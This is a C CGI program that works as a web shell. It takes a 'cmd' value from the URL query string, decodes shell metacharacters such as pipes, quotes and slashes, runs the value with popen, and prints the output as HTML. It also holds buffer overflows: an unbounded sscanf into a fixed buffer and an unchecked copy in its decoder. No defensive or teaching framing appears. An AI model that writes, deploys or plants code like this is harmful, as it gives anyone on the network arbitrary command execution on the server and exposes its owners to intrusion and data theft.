#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int myisxdigit(char c)
{
	if ((c >= 48 && c <= 57) || (c >= 97 && c <= 102) || (c >= 65 && c <= 70))
	{
		return 1;
	}
	else
	{
		return 0;
	}
}

void ConvertAllSpecialChars(char * src)
{
	char local[256] = {0};
	char tmp[10] = {0};
	int hex = 0;
	int i = 0;
	int index = 0;
	for (i = 0; i < strlen(src); ++i)
	{
		switch (src[i])
		{
		case '+':
			local[index++] = ' ';
			break;
		case '%':
			if (myisxdigit(src[i + 1]) && myisxdigit(src[i + 2]))
			{
				
				memcpy(tmp, src + i + 1, 2);
				hex = strtol(tmp, NULL, 16);
				
				if (hex == 0x20 || hex == 0x22 || hex == 0x23 || hex == 0x25 || hex == 0x26 || hex == 0x27 || hex == 0x2B || hex == 0x2F || hex == 0x3C || hex == 0x3E || hex == 0x7C)
				{
					local[index++] = (unsigned char)(hex & 0xFF);
					i += 2;
				}
				else local[index++] = '%';
			}
			else {
				local[index++] = '%';
			}
			break;
		default:
			local[index++] = src[i];
			break;
		}
	}

	bzero(src, 256);
	strcpy(src, local);
}

int main(int argc, char *argv[])
{
	char *data = NULL;
	FILE *fp = NULL;
	char cmd[256] = {0};
	char print_buf[1024] = {0};

	data = getenv("QUERY_STRING");
	//printf("%s", data);
	if (data == NULL)
	{
		// Internal error! no form parameters
		printf("Content type: text/html\n\n"); 
		printf("ERROR! Lack of parameter!");
	}
	else 
	{
		printf("Content type: text/html\n\n");
		
		int ret = sscanf(data, "cmd=%s", cmd);
		ConvertAllSpecialChars(cmd);
		//printf("cmd:%s", cmd);
		if (ret != 1)
		{
			printf("Wrong parameters %d\n", ret);
			printf("%s", data);
		}
		else
		{
			fp = popen(cmd, "r");
			if (fp != NULL)
			{
				while (fgets(print_buf, sizeof(print_buf), fp) != 0)
				{
					printf("%s<br/>", print_buf);
				}
			}
			pclose(fp);
		}
	}
	
	return 0;
}
